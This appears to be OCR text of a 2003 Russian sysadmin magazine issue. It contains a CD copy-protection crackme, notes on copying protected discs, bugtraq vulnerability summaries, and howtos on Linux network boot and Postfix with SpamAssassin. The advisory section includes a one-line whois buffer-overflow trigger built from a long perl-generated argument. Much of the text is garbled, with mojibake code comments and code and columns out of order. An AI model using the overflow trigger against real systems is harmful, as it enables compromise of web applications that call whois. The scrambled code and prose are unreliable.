// ïðîâåðêà ñòàðòîâîãî LBA-àäðåñà òðåêà _TRACK //-------------------------------------------// îïðåäåëåíèå ðåàëüíîé äëèíû TOC real_len = TOC[0]*0x100L+TOC[1]; // ïåðåáîð âñåõ entry for (a = 4; a < real_len; a+=11) { // ýòî íàø òðåê? if (TOC[a+3] == _TRACK) if ((((TOC[a + 4]∗60L) + TOC[a + 5])∗75L) + ↵ TOC[a + 6] != _TRACK_LBA) {fprintf(stderr, "-ERR: ↵ not original LBA\n"); ↵ return -1;} else break; }

/*-------------------------------------------------------* * crack me 9822C095h * ================== * * äåìîíñòðàöèÿ òåõíèêè ïðèâÿçêè ê èñêàæåííîìó TOC; * äëÿ ðàáîòå ïðîãðàììå òðåáóåòñÿ ëàçåðíûé äèñê, ïðîææåííûé * ñîîòâåòñòâóþùèì îáðàçîì ---------------------------------------------------------*/ #include <stdio.h> #include <windows.h> #include "CD.h" #include "SPTI.h" #include "ASPI32.h" // ïàðàìåòðû çàùèùåííîãî äèñêà, êîòîðûå ìû áóäåì ïðîâåðÿòü //------------------------------------------------------– #define _N_SESSION 2 // êîëè÷åñòâî ñåññèé #define _TRACK 1 // íîìåð ïðîâåðÿåìîãî òðåêà #define _TRACK_LBA 0x6B124 // ñòàðòîâûé LBA-àäðåñ // òðåêà _TRACK // ïàðàìåòðû ïðîãðàììû //-------------------#define MAX_TRY 3 // ìàê. êîë-âî ïîïûòîê ÷òåíèÿ TOC #define TRY_DELAY 100 // çàäåðæêà ìåæäó ïîïûòêàìè #define MAX_TOC_SIZE (2352) // ìàêñèìàëüíûé ðàçìåð TOC main(int argc, char **argv) { // îñíîâíûå ïåðåìåííûå long a, real_len, try = 1; // ñþäà áóäåò ÷èòàòüñÿ TOC unsigned char TOC[MAX_TOC_SIZE]; // SCSI CDB-áëîê äëÿ SCSI/ATAPI-óñòðîéñòâ unsigned char CDB[ATAPI_CDB_SIZE]; // TITLE fprintf(stderr,"crackme 9822C095 by Kris Kaspersky\n"); if (argc <2) { fprintf(stderr,"USAGE:crackme.9822C095h.exe ↵ drive\n"); fprintf(stderr,"\tdrive - \\\\.\\X: or ↵ Trg.Lun\n"); return -1; } // èíèöèàëèçàöèÿ áóôåðîâ memset(CDB, 0, ATAPI_CDB_SIZE); memset(TOC, 0, ↵ MAX_TOC_SIZE); // ãîòîâèì CDB-áëîê CDB[0] = 0x43; CDB[2] = 0x2; CDB[6] = 0;

№9(10), сентябрь 2003

// READ TOC // RAW TOC // íîìåð ïåðâîé ñåññèè

// ðàçìåð... // ...áóôåðà

// ýòî îðèãèíàëüíûé äèñê! printf("Hello, original CD\n"); }

Предлагаемая защита не копируется Clone CD (т.к. он создает всего одну сессию вместо ожидаемых двух), но легко обходится Alcohol, который хоть и помещает на место первой секции непотребный мусор, зато вполне корректно воссоздает оригинальный TOC. Для усиления защиты мы можем попытаться не только проверять обе сессии на существование, но и контролировать целостность их содержимого. Разумеется, не обязательно перелопачивать каждую из секций целиком. Достаточно выбрать несколько ключевых секторов, желательно имеющих по возможности уникальное содержимое. Постойте! – воскликнет внимательный читатель. Разве автор не предостерегал нас о последствиях такой проверки?! Ведь никто не может гарантировать, что на оборудовании пользователя эти сектора вообще прочтутся! Что ж, отвечу я. Закладываться на читабельность секторов действительно категорически не рекомендуется, но вот контролировать успешно просчитавшиеся сектора можно и нужно! То есть: если ключевые сектора не читаются, то все ок и нет никаких поводов считать диск нелицензионным – это просто у конечного пользователя оборудование такое (в смысле кривое). Другое дело, если чтение секторов прошло без ошибок, но вместо ключевых данных в них оказалось нечто совсем иное. Вот тогда, действительно, проблема не в оборудовании, а в диске.

43


администрирование 1

Усиленный вариант защиты уже не копируется Alcohol (т.к. вместо оригинального содержимого первой сессии Alcohol помещает на диск какой-то дикий мусор), но может быть скопирован вручную по методике, описанной выше. К тому же, привязка к искаженному TOC элементарно отламывается в отладчике/дизассемблере. Так что дальнейшее совершенствование защиты практически полностью бессмысленно. От «простых смертных» пользователей мы уже защитились, а от хакеров мы не сумеем защититься все равно (во всяком случае, не этим способом). В любом случае более продвинутые защиты – тема отдельного разговора.

Посмотрите внимательно на лицевую панель своего CD-ROM, видите – внизу лотка расположено крохотное отверстие порядка 1 мм в диаметре? Воспользовавшись любым длинным тонким и достаточно прочным предметом, например, металлической канцелярской скрепкой, слегка приоткройте лоток, введя «отмычку» в указанную дырку до упора и еще чуть-чуть надавив. Все! – дальше лоток можно выдвинуть уже руками. Внимание! Во-первых, проделывайте эту операцию только при выключенном компьютере, а во-вторых, держите «отмычку» строго горизонтально, иначе вы можете промазать и угодить в какой-нибудь нежный узел, основательно его повредив.

Условные обозначения

ная область служит своеобразным индикатором конца сессии и/или диска и помогает оптической головке не вылететь за пределы диска. Пишущие приводы должны корректно обрабатывать диски с незакрытыми сессиями, однако обыкновенные приводы CD-ROM и аудиопроигрыватели это делать не обязаны. Внимание! Отсутствие выводной сессии (равно как и некорректное задание ее адреса) может повредить некоторые модели приводов (один из них PHILIPS). Емкость выводной области односессионного диска по стандарту составляет 13,5 Mб (6750 секторов или 1,5 минуты). Емкость выводных областей для второй и последующих сессий многосессионных дисков уменьшена до 4 Мб (0,5 минуты, или 2250 секторов). Содержимое выводной области недоступно на программном уровне. Визуально выводная область выглядит равномерно освещенным блестящим кольцом. Program Area – программная область. Область диска, расположенная между Lead-In- и Lead-Out-областями и содержащая информационные треки с музыкой или данными. Это – основная область диска, целиком доступная на секторном уровне с паузами между аудиотреками включительно. TOC – (Table Of Content) – таблица содержимого или попросту оглавление диска. Служебная область диска, записанная в Q-канале подкода вводной области диска, также называемой Lead-In-областью (такое блестящее кольцо у внутреннего края диска). Многосессионный диск имеет несколько независимых TOC – по одному TOC на каждую закрытую сессию. TOC содержит информацию о стартовых адресах вводной/выводной областей диска и атрибуты всех его треков (как-то тип трека: аудио или данные, а если данные, то в каком режиме – Mode 1, Mode 2 и т. д., абсолютный стартовый адрес трека и номер соответствующей ему сессии). Также TOC содержит часть ATIP и указатели на местоположение ее продолжения. Непосредственно (т.е. на секторном уровне) для чтения TOC недоступен, но для извлечения его содержимого в «сыром» виде можно воспользоваться следующей SCSI/ATAPI командой READ TOC/PMA/ATIP (операционный код: 43h) с format field == 2h. Однако не стоит путать TOC с файловой системой – между ними нет ничего общего! Файловые системы на лазерных дисках хранятся непосредственно в PM и свободно доступны для чтения на секторном уровне.

Под приводом NEC понимается _NEC CD-RW NR-9100A; firmware version 1.4.

Под приводом ASUS понимается ASUS CD-S500/A; firmware version 1.4K.

Под приводом PHILIPS понимается PHILIPS CDRW2412A; firmware version P1.55. Alcohol 120% – отличный копировщик защищенных дисков, условно-бесплатную версию которого можно утянуть с сайта http://www.alcohol-soft.com/. Автоматически ломает более половины всех существующих типов защит от копирования и позволяет динамически монтировать образы защищенных дисков на виртуальный привод CD-ROM, что очень удобно для экспериментов. К сожалению, монтированию подлежат лишь «правильные» образы, коими большинство образов защищенных дисков отнюдь не являются. Clone CD – хороший копировщик защищенных дисков, условно-бесплатную версию которого можно утянуть по следующему адресу: http://www.elby.ch/. С копированием защищенных дисков в полностью автоматическом режиме Clone CD справляется скорее плохо, чем хорошо, однако после ручного шаманства с настройками и непосредственно самим образом защищенного диска он может скопировать добрую половину существующих типов защит. Утверждение о том, что Clone CD «берет» практически все существующие защиты от копирования, – ложное и невероятно далеко от действительности.

Глоссарий Lead-In Area – вводная область диска. Служебная область диска, по сути своей представляющая нулевой трек, всегда предшествующий первому треку PA. Каждая сессия многосессионного диска имеет собственную вводную область. Размер вводной области по стандарту составляет 9 мегабайт (60 секунд, или 4500 секторов). Q-канал подкода вводной сессии содержит TOC, среди прочей полезной информации, указывающей либо на адрес выводной области (закрытый диск), либо на адрес вводной области следующей сессии (открытый диск). Содержимое вводной области недоступно для чтения на программном уровне. Визуально вводная область выглядит равномерно освещенным блестящим кольцом. Lead-Out Area – выводная область диска. Служебная область диска, условно обозначаемая треком номер AAh и замыкающая собой всякую закрытую сессию. Вывод-

44


bugtraq Переполнение буфера через веб-приложение в GNU Whois-клиенте

Удаленный отказ в обслуживании в Sendmail

Переполнение буфера обнаружено в GNU Whois-клиенте. Веб-приложения, которые вызывают whois, позволяют удаленному пользователю выполнить произвольный код. Воздействие зависит от того, как приложение вызывает или интегрирует Whois-клиента. Посылая специально обработанное значение для имени хоста, когда вызывается whois с «-g» параметром командной строки, локальный или удаленный пользователь может вызвать переполнение буфера:

Уязвимость обнаружена в почтовом сервере Sendmail. Удаленный атакующий, способный контролировать ответы DNS-сервера, может аварийно завершить работу почтового сервера или выполнить произвольный код на уязвимом сервере. Уязвимость обнаружена в конфигурациях, в которых используется DNS-маппинг в файле sendmail.cf. Функция dns_parse_reply() формирует цепочку RESOURCE_RECORD_T-структур (динамически распределяя память для них). Из-за неправильной инициализации этих структур, когда sendmail получает плохой DNS-ответ (в котором фактический размер ответа не равен заявленному), структура вызывает dns_free_data (sm_resolve.c:227) с rr_next полем последней цепочки структуры, заполненной мусором. В dns_free_data() sendmail попытается освободить цепочку структур – пройдет через цепочку, используя rr_next указатель и останавливаясь, когда rr_next == NULL. Мусор в rr_next поле заставит sendmail вызвать free() на случайном адресе. В результате работа Sendmail аварийно завершится. Уязвимость обнаружена в sendmail 8.12.8 и более ранних. Sendmail выпустил небольшую заплату, устраняющую обнаруженную уязвимость:

astharot@astharot <mailto:astharot@astharot> astharot ↵ $ whois -g `perl -e "print 'a'x2000"`

Когда whois использует отдельное приложение, переполнение буфера позволяет локальному пользователю выполнить произвольный код с привилегиями локального пользователя (что само по себе не является уязвимостью защиты). Однако некоторые веб-приложения, использующие whois, могут позволить удаленному пользователю выполнить произвольный код с привилегиями веб-сервера. Уязвимость обнаружена в GNU Whois 4.6.6 и более ранних версиях. Для устранения уязвимости измените следующую строку в файле whois.c sprintf(p--, "-%c %s ", ch, optarg);

на snprintf(p--, sizeof(fstring), "-%c %s ", ch, optarg);

Удаленное выполнение произвольного кода в Helix Universal Server и RealServer Уязвимость обнаружена в RealNetworks Helix Universal Server. Удаленный пользователь может выполнить произвольный код с root-привилегиями. Удаленный пользователь может запросить URL, содержащий большое число определенных символов, чтобы заставить сервер выполнить произвольный код. Недостаток находится в обработчике протокола. Уязвимость обнаружена в Helix Universal Server 9 и более ранних версиях (RealSystem Server 8, 7 и RealServer G2).

Удаленный отказ в обслуживании в Piolet File Sharing-клиенте Отказ в обслуживании обнаружен в Piolet File Sharing-клиенте. Удаленный пользователь может аварийно завершить работу клиента. Удаленный пользователь может подключиться к целевому клиенту на 701 TCP-порт и послать чрезмерное количество данных, чтобы аварийно завершить работу целевого клиента. Согласно сообщению, атака не будет зарегистрирована приложением. Уязвимость обнаружена в Piolet File Sharing Client 1.05. Способов устранения обнаруженной уязвимости не существует в настоящее время.

№9(10), сентябрь 2003

--- sm_resolve.c.orig Fri Jun 28 00:43:24 2002 +++ sm_resolve.c Thu Jul 10 01:21:17 2003 @@ -233,6 +233,7 @@ dns_free_data(r); return NULL; } + memset(*rr, 0, sizeof(**rr)); (*rr)->rr_domain = sm_strdup(host); if ((*rr)->rr_domain == NULL) {

Истощение памяти в системном вызове semget(2) в операционной системе OpenBSD Уязвимость обнаружена в операционной системе OpenBSD в системном вызове semget(2). Локальный пользователь может аварийно завершить работу системы. Системный вызов semget(2) не проверяет размеры границ в пользовательских данных. Локальный пользователь может выполнить специально обработанный запрос, чтобы заставить функцию использовать всю доступную память, что приведет к зависанию системы. Уязвимость обнаружена в OpenBSD version 3.3. Для устранения уязвимости установите соответствующее обновление, которое можно скачать отсюда: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/ 002_semget.patch Составил Александр Антипов

45


администрирование

ЗАГРУЗКА ПО СЕТИ

46


администрирование Многие современные материнские платы позволяют загружать операционную систему не только с жесткого диска или дискеты, но и по сети. Причем загружаться по сети «умеют» компьютеры как со встроенными сетевыми адаптерами, так и обладающие внешними сетевыми карточками. В этой статье мы рассмотрим, как загрузить операционную систему Linux по сети. Многие дистрибутивы позволяют устанавливать операционную систему по сети. Однако не нужно путать установку по сети и загрузку по сети. В первом случае вы загружаетесь с системной дискеты, а дальше программа установки просто копирует все необходимые ей файлы, находящиеся, как правило, на каком-то FTP-сервере, на ваш компьютер. В случае с загрузкой по сети файлы не копируются на ваш компьютер, а загружаются по сети при необходимости. Сначала загружается ядро системы (мы говорим о Linux), а потом необходимые ему файлы – корневая файловая система (с использованием NFS). Данный способ позволяет нам использовать бездисковые станции. Если вам нужна «служебная» бездисковая станция, которая будет выполнять только определенные задачи, например, принт-сервера или шлюза, можно вовсе отказаться от NFS, а загружать все сразу – и ядро, и корневую файловую систему – лишь бы оперативной памяти хватило. Примечание: NFS (Network File System) – сетевая файловая система. Позволяет монтировать файловые системы, находящиеся на удаленных компьютерах. Наверное, вы знаете, что существуют так называемые NFS-дистрибутивы, которые также позволяют хранить все необходимые файлы на NFS-сервере. Но NFS-дистрибутив нельзя использовать на бездисковых станциях. Как минимум для запуска такого дистрибутива на рабочей станции должен быть установлен обычный дисковод для гибких дисков. Загрузчик LILO (или любой другой) загружается с дискеты, затем вы передаете ему несколько параметров, как минимум два: root=/dev/nfs – сообщает ядру, что мы будем использовать загрузку по NFS; nfsroot – указывает путь к корневой файловой системе в формате: [<server_ip>:]<root_dir>[,<nfs_options>]

ДЕНИС КОЛИСНИЧЕНКО №9(10), сентябрь 2003

Как видите, ядро знает, что корневая файловая система загружается по NFS. Сейчас мы попробуем сделать так, чтобы ядро даже «не заметило», что оно загружается по сети. Для этого мы будем использовать серверы rarp (Reverse Address Resolution Protocol) и tftp (Trivial File Transfer Protocol). Сервер rarp мы будем использовать для того, чтобы сопоставить MAC-адрес бездисковой станции определенному IP-адресу нашей локальной сети. Сервер tftp будет хранить наш загрузочный образ, о котором мы поговорим немного позже. Теперь приступим к практической реализации. Для начала сопоставим MAC-адрес бездисковой станции IP-адресу нашей сети. Как я уже говорил, для этого будем использовать сервер rarp, который должен быть установлен на вашей системе.

47


администрирование /sbin/rarp –s 192.168.1.117 00:00:a1:77:e5:c9

Данную команду нужно включить в сценарий загрузки вашей системы, чтобы не вводить ее вручную при каждом запуске. Проблему идентификации нашей станции можно решить и по-другому – с помощью DHCP. Для этого в файле конфигурации /etc/dhcpd.conf нужно прописать директиву host для каждой бездисковой станции: host net_pc1{ hardware ethernet 00:00:a1:77:e5:c9 fixed-address 192.168.1.117 }

Как определить MAC-адрес сетевой платы? Для этого существует много программ, но целесообразнее использовать стандартные программы, которые всегда есть под рукой: в Linux – это ifconfig, а в Windows – winipcfg (рис. 1).

Мы указываем статический IP-адрес 192.168.1.117: ip=192.168.1.117:192.168.1.1:192.168.1.1: ↵ 255.255.255.0:net_pc1:eth0:

Сервер BOOTP можно с успехом заменить сервером DHCP, однако с небольшими изменениями в файле конфигурации. Пример файла конфигурации будет приведен в конце статьи. Имя net_pc1 должно быть прописано в файле /etc/hosts или сервере DNS: 192.168.1.117

net_pc1.domain.ru

net_pc1

Теперь можно приступить к настройке сервера tftp. Установите сервер tftp. После установки в каталоге /etc/ xinetd.d появится специальный файл, содержащий параметры запуска сервиса tftp. Вы можете отредактировать их по своему усмотрению, после чего нужно перезапустить сервис xinetd: service xinetd restart

Если же у вас до сих пор используется устаревший суперсервер inetd, в файл /etc/inetd.conf нужно добавить следующую строку (или раскомментировать ее, если она уже есть): tftp dgram udp wait root /bin/in.tftpd in.tftpd –s /tftp

Ðèñóíîê 1. Ïðîãðàììà winipcfg

Ядру Linux нужно будет передать параметр ip, определяющий настройки IP-интерфейса. В общем случае он выглядит так: ip=<client_ip>:<server_ip>:<gateway>:<netmask>: ↵ <hostname>:<device>:<autoconf>

Как это сделать, вы узнаете чуть позже, а пока рассмотрим несколько примеров: Мы используем протокол BOOTP: ip=::::net_pc1::bootp

Мы используем сервер rarp: ip=::::net_pc1::rarp

48

Как обычно, нужно перезапустить сервис inetd, чтобы изменения вступили в силу. В каталог /tftp нужно поместить тот самый образ, содержащий ядро и базовую корневую файловую систему. Вот теперь самое время поговорить об образе и о тех файлах, которые он должен содержать. Начнем, пожалуй, с ядра. Перекомпилируйте ядро, включив в него поддержку сети, файловой системы ext2 и Initial RAM disk support (секция Block devices). Все остальное отключайте по максимуму – ведь мы же не хотим передавать вместе с ядром несколько мегабайт дополнительных модулей. Если у вас одна бездисковая станция, возможно, такой режим работы не скажется на функционировании всей сети, но попробуем представить, что таких станций у нас десять и все они включаются одновременно… Можно даже отключить поддержку модулей – все, что нужно, вы поместите в ядро. Такое ядро не будет компактным, но с одним файлом вам будет проще работать. После того, как ядро будет откомпилировано, желательно проверить его работоспособность – запишите его на дискету и загрузитесь с нее: cat bzImage > /dev/fd0 rdev rdev rdev rdev

/dev/fd0 /dev/hda1 –v /dev/fd0 –1 –R /dev/fd0 1 –r /dev/fd0 0

Команда rdev используется в случае, если ядро и корневая файловая система находятся на разных дисках. В нашем случае ядро – на дискете, а файловая система –


администрирование на жестком диске (раздел /dev/hda1). Если загрузка прошла успешно, значит, ваше ядро вполне работоспособно и его можно использовать. Самое сложное – еще впереди. Вам нужно самостоятельно подготовить набор файлов корневой файловой системы, то есть создать свой небольшой дистрибутив. Подробнее о создании микродистрибутивов вы можете прочитать: в статье Всеволода Стахова «Создание загрузочных дискет и CD-дисков Linux», которая была опубликована в июньском номере «Системного администратора»; в статье «Изготовление мульти-загрузочного CD-диска» (http://gazette.linux.ru.net/); на моем сайте dkws.narod.ru.

Вот сейчас все должно быть нормально. Во всяком случае, ядро системы должно загрузиться по сети. Если возникнет ошибка во время загрузки системы, то это означает только одно – вы где-то допустили ошибку при «сборке» собственного микродистрибутива. Обычно бездисковые станции используются в качестве служебных компьютеров, например, маршрутизаторов или шлюзов. А что делать, если вам нужна полноценная рабочая станция, скажем, X-терминал, за которым днями и ночами должны работать пользователи (например, вы создаете малобюджетное интернет-кафе)? Тогда наш загрузочный образ должен содержать только ядро и загрузчик без файловой системы. Загрузчик должен передать ядру следующие параметры: root=/dev/nfs nfsroot=192.168.1.1:/exports/nfs

Конечно, всегда можно пойти по пути наименьшего сопротивления и использовать уже готовый микродистрибутив, помещающийся на одной – двух дискетах. Такой дистрибутив очень легко найти в сети. Конкретный дистрибутив советовать не буду, поскольку выбор зависит от выполняемых им функций. Кроме ядра и файловой системы Linux, наш образ должен содержать загрузчик Linux: кто-то ведь должен передать параметры ядру Linux (вы еще не забыли о параметре ip?). Подойдет любой загрузчик, который в состоянии справиться с возложенной на него задачей – передачей параметров ядру. Если файл образа уже готов, можно записать загрузчик прямо в него – Linux все равно с чем работать – с файлом или устройством. Вот конфигурационный файл lilo.conf: boot=/tftp/net.img prompt timeout=50 compact vga=normal read-only image=/vmlinuz label=linux append=" ip=::::nfs-client::bootp"

Когда ваш образ будет полностью готов, запишите его в каталог /tftp и можно попробовать запустить бездисковую станцию (не забудьте в SETUP включить загрузку по сети). Не получается? Тогда переименуем файл образа следующим образом: ln –sf net.img C0A80175.I586

Откуда взялось такое страшное имя? Все очень просто: IP-адрес бездисковой станции записывается в шестнадцатиричном формате, все точки игнорируются. Затем через точку записывается код архитектуры бездисковой станции (прописными буквами). Код архитектуры можно узнать, выполнив команду arch… на бездисковой станции. А как же ее выполнить – ведь там нет операционной системы? Тогда просто попробуйте угадать – это несложно. Скорее всего, у вас будет установлен процессор фирмы Intel или совместимый с ним, значит, первая буква кода будет I. Затем следует код процессора – 386, 486, 586 (Pentium), 686 (Pentium II, Celeron).

№9(10), сентябрь 2003

192.168.1.1 – это IP-адрес сервера NFS. В файле /etc/exports указываются экспортируемые файловые системы: /exports/nfs (ro) /exports/nfs-rw (rw) /mnt/cdrom net_pc1(ro)

Первая строка означает, что экспортируется файловая система /exports/nfs и доступ к ней в режиме «только чтение» (read only – ro) получат все компьютеры. К файловой системе /exports/nfs-rw также получат доступ все компьютеры, но в режиме «чтение-запись». К CD-ROM получит доступ только компьютер net_pc1. Как и обещал, привожу небольшой фрагмент файла конфигурации /etc/dhcpd.conf, позволяющего серверу DHCP работать в режиме BOOTP: subnet 192.168.1.0 255.255.255.0 { option subnet-mask 255.255.255.0; option domain-name-servers 192.168.1.1; # Åñëè âû íå óêàæåòå äèðåêòèâó dynamic-bootp, âàø DHCP-ñåðâåð # íå áóäåò ðàáîòàòü â ðåæèìå BOOTP range dynamic-bootp 192.168.1.100 192.168.1.200 } host net_pc1{ hardware ethernet 00:00:a1:77:e5:c9 fixed-address 192.168.1.117 }

Все ваши вопросы и комментарии к статье буду рад выслушать по адресу: dhsilabs@mail.ru Ссылки: 1. Пакет Bootkit, предназначенный для создания загрузочных дисков: ftp://sunsite.unc.edu/pub/Linux/system/Recovery/ 2. Очень много ссылок на микродистрибутивы Linux: http://www.linuxlinks.com 3. Много программ для создания загрузочных дисков: http://www.ibiblio.org/pub/Linux/system/recovery/ 4. Сайт http://dkws.narod.ru – много полезной документации по Linux, в том числе документы Howto на русском языке.

49


администрирование

POSTFIX+...+SPAMASSASSIN MINI-HOWTO

Спам. Рассылка рекламы. Бороться с нежелательной почтой можно по-разному. Эта статья расскажет, как прикрутить фильтр SpamAssassin к MTA Postfix. Надеюсь, статья получится выдержанной в стиле mini-howto.

АНДРЕЙ МОЗГОВОЙ 50


администрирование Пожалуйста, не пытайтесь прикрутить фильтр к ненастроенному/работающему серверу Postfix. Далее будем полагать, что у читателя настроен и нормально работает почтовый сервер и уже установлен SpamAssassin. Установка SpamAssassin (коротко): SpamAssassin – это perl-модуль. Состоит из трех основных частей: spamd – daemon, к которому подключается клиент; spamc – client, который подключается к spamd. На вход клиенту подаются письма, с выхода забираются отфильтрованные письма; spamassassin – perl-скрипт, работает сам по себе, подробней – «man spamassassin». Установка подробно описана в файле INSTALL. Мой Postfix работает в следующей связке: Postfix+Cyrus-SASL+Mysql+Courier-IMAP+SquirrelMail+DrWeb, а теперь еще и SpamAssassin. Postfix – сам MTA; Cyrus-SASL – используется для авторизации пользователей (пока только SMTP AUTH); MySQL – БД – хранит все бюджеты пользователей; Courier-IMAP – POP3- и IMAP-сервисы; SquirrelMail – веб-интерфейс для пользователей, кстати, нормально работает с кириллицей; DrWeb – антивирус, работает как фильтр, в этом собственно вся проблема и была. Если прикручивать SpamAssassin как один-единственный фильтр, думаю, проблем особых возникнуть не должно. Схема проста, в master.cf прописывам фильтр, например, spam, с опцией: -o content_filter=spam

daemon smtpd, говорим «использовать фильтр spam». Письмо, пришедшее на smtp, переправляется на spamс, spamс проверяет и с помощью sendmail возвращает обратно в очередь. --- MASTER.CF --#===================================================================== # service type private unpriv chroot wakeup maxproc command+args # (yes) (yes) (yes)(never) (100) #===================================================================== smtp inet n n 50 smtpd -o content_filter=spam:dummy ... # SpamAssassin Filter # ==================================================================== spam unix n n pipe flags=R user=spam argv=/usr/bin/spamc -u spam -e ↵ /usr/sbin/sendmail -t --- END MASTER.CF ---

(Кстати, с «:dummy» надо еще поэкспериментировать.) Но SpamAssassin у меня не единственный фильтр, есть еще и DrWeb. Вот как было все прописано до использования SpamAssassin. --- MASTER.CF --#===================================================================== # service type private unpriv chroot wakeup maxproc command+args # (yes) (yes) (yes)(never) (100) #===================================================================== smtp inet n n 50 smtpd -o content_filter=drweb:dummy

№9(10), сентябрь 2003

... # DrWeb AntiVirus Filter #===================================================================== drweb unix n n pipe flags=R user=drweb argv=/opt/drweb/drweb-postfix -f ↵ ${sender} -- ${recipient} --- END MASTER.CF ---

Фильтровать почту будем, используя именно spamc/ spamd, а не через perl-скрипт spamassassin. Так оно намного быстрее… да и вообще симпатичнее. Создаем в системе пользователя с домашним каталогом «/etc/mail/spamassassin», shell можно не давать (/bin/fasle). Но валидный shell очень удобен, когда надо добавить/удалить какой-нибудь адрес в White/Black List. Решайте сами. Также создаем группу spam. Каталоги /etc/mail/spamassassin и /usr/local/share/spamassassin отдаем в распоряжение бюджету spam (chown –R spam.spam /path/to/dir). С документацией по настройке spamd трудности [2], я использовал веб-интерфейс, написанный Michael Moncur [3]. Принцип фильтрации следующий: во всех письмах, распознанных как спам, поля темы меняются на «SPAM: <original subject>». Запускаем spamd: прочтите руководство и выберите необходимые параметры (man spamd). Меня устроило следующее: /usr/bin/spamd -d -a -c -m 50 -u spam * èñïîëüçóéòå îïöèþ "-D" äëÿ îòëàäêè. * íå çàáóäüòå ïðîïèñàòü spamd â ñòàðòîâûõ ñêðèïòàõ

Уже можно протестировать SpamAssassin. Сохраните спамовское письмо, которое пришло к вам, на сервере и подайте его на вход spamc (желательно сразу использовать параметр -u user). /usr/bin/spamc -u spam -e /usr/sbin/sendmail –t ↵ </path/to/spam_mail

Письмо пройдет проверку и вернется в очередь MTA, затем опять упадет к вам в Home_Dir. Можете проверять почтовый ящик. Если spamd был запущен с опцией «-D» – в лог-файле (скорее всего в /var/log/maillog) вы найдете подробный отчет о проделанной работе. Работает? Отлично, прикручиваем фильтр в Postfix. (Не работает? Внимательно прочтите сообщения в лог-файле.) Приступим к настройке Postfix. (DrWeb настроен и нормально работает.) Есть как минимум два варианта, как подключить SpamAssassin к Postfix. Первый способ я нашел в статье reVen [6]. Его суть: передача почты от сервиса к сервису, прописанных в master.cf. Но мне такой способ не понравился. Зачем дополнительно использовать Perl в перенаправления с сокета на сокет? Можно вообще без лишних сокетов (мое личное мнение). Может, я изобрел велосипед, но дошел до этого сам, хотя ничего сложного в нем нет. Изменяем в master.cf фильтр\сервис drweb, в сумме получаем следующий файл: --- MASTER.CF --#===================================================================== # service type private unpriv chroot wakeup maxproc command+args # (yes) (yes) (yes) (never) (100) #===================================================================== smtp inet n n 50 smtpd

51


администрирование -o content_filter=drweb:dummy ... # DrWeb AntiVirus Filter and SpamAssassin Filter # ==================================================================== drweb unix n n pipe flags=R user=drweb argv=/usr/local/sbin/postfix_filter -f ${sender} ↵ -- ${recipient} --- END MASTER.CF ---

А вот и маленький, да удаленький скриптик на BASH, который получает письмо от Postfix, проверяет его на spam с помощью spamc и отдает его (письмо) антивирусу DrWeb. --- /usr/local/sbin/postfix_filter --#!/bin/sh (/usr/bin/spamc -u spam -s 1024000 | ↵ /opt/drweb/drweb-postfix $@) <&0 --- END /usr/local/sbin/postfix_filter --* -s – ìàêñèìàëüíûé ðàçðåð ïðîâåðÿåìîãî ïèñüìà, * ïî óìîë÷àíèþ 250k

Вот и вся настройка. Еще раз повторюсь, если что-то

52

не работает, внимательно прочтите лог-файлы. Ссылки: 1. SpamAssassin Homesite: http://www.spamassassin.org, в статье описывается версия 2.55. 2. h t t p : / / w w w . s p a m a s s a s s i n . o r g / d o c / Mail_SpamAssassin_Conf.html 3. http://www.yrex.com/spam/spamconfig.php 4. http://www.perl.com/CPAN – все необходимое для Perl. 5. Postfix Homesite: http://www.postfix.org 6. h t t p : / / r a v e n . e l k . r u / u n i x / h o w - t o / p o s t f i x 2 + c y r u s sasl2+kav+spamassassin+courierimap+tls+mysql+FreeBSD4/postfix2+cyrussasl2+kav+spamassassin+courierimap+tls+mysql+FreeBSD4.html – вариант использования Postfix + SpamAssassin 7. Статьи по настройке Postfix: http://www.onix.opennet.ru/ mail/mail.html; http://linuxnews.ru/docs/new/isp-mail/ version1.2/isp-mail-howto.1.2.rus.txt



hardware

РАБОТА С ЖЕСТКИМ ДИСКОМ НА ПРОГРАММНОМ УРОВНЕ

ВЛАДИМИР МЕШКОВ 54


hardware В номере 3(4) журнала «Системный администратор» была опубликована статья Алексея Серебрякова «Основы систем хранения данных». В продолжение данной темы давайте рассмотрим, как осуществить доступ к IDE-диску на программном уровне при помощи файла устройства и через порты ATA-контроллера.

Файлы устройств Файл – основа любой операционной системы, поскольку именно с ним производится наибольшее число действий. В UNIX- и POSIX-системах существуют файлы следующих типов: обычный файл; каталог; FIFO-файл; байт-ориентированный файл устройства; блок-ориентированный файл устройства. Блок-ориентированный файл устройства служит для представления физического устройства, которое передает данные блоками. Примером блок-ориентированного устройства является жесткий диск. Байт-ориентированный файл устройства служит для представления физического устройства, которое передает данные побайтово (например, модем). Прикладная программа может выполнять операции чтения и записи с файлом устройства так же, как с обычным файлом, а операционная система будет автоматически вызывать соответствующий драйвер устройства для выполнения фактической передачи данных между физическим устройством и приложением. Файл устройства создается командой mknod, одним из аргументов которой является старший номер устройства (major device number). По сути, старший номер – это индекс в таблице ядра, которая содержит адреса всех драйверов, известных системе. В ОС Linux создаются две таблицы – таблица блочных устройств (block device switch) и таблица символьных устройств (character device switch). Обе таблицы являются массивом структур и проиндексированы при помощи значения старшего номера устройства. Таблица блочных устройств определена в файле fs/block_dev.c следующим образом:

файла устройства, структура struct block_device_operations содержит функции, выполняемые драйвером устройства. Однако функции read и write в этой структуре отсутствуют. Дело в том, что пользовательский процесс не выполняет напрямую операции чтения/записи в блочное устройство. Для этой цели драйвер предоставляет системе механизм request, и все операции ввода/вывода выполняются через буферный кеш системы, но это тема для отдельной статьи. При снятии регистрации соответствующий элемент массива blkdevs обнуляется: int unregister_blkdev(unsigned int major, const char * name) { .... blkdevs[major].name = NULL; blkdevs[major].bdops = NULL; return 0; }

Таблица символьных устройств определена в файле fs/devices.c и также является массивом структур, который заполняется при регистрации устройства в системе: struct device_struct { const char * name; struct file_operations * fops; }; static struct device_struct chrdevs[MAX_CHRDEV];

Структура struct file_operations определена в файле <linux/fs.h> и содержит функции, выполняемые драйвером символьного устройства. Когда пользовательский процесс читает данные из файла устройства или записывает их, ядро, используя старший номер устройства в качестве индекса, находит в соответствующей таблице нужную процедуру драйвера и выполняет запрашиваемое действие. Кроме операций чтения/записи драйвер также предоставляет возможность управления устройством. Операция управления осуществляется при помощи функции ioctl. Эта функция вызывается пользовательским процессом и имеет следующий прототип: int ioctl(int fd, int cmd, ...);

static struct { const char *name; struct block_device_operations *bdops; } blkdevs[MAX_BLKDEV];

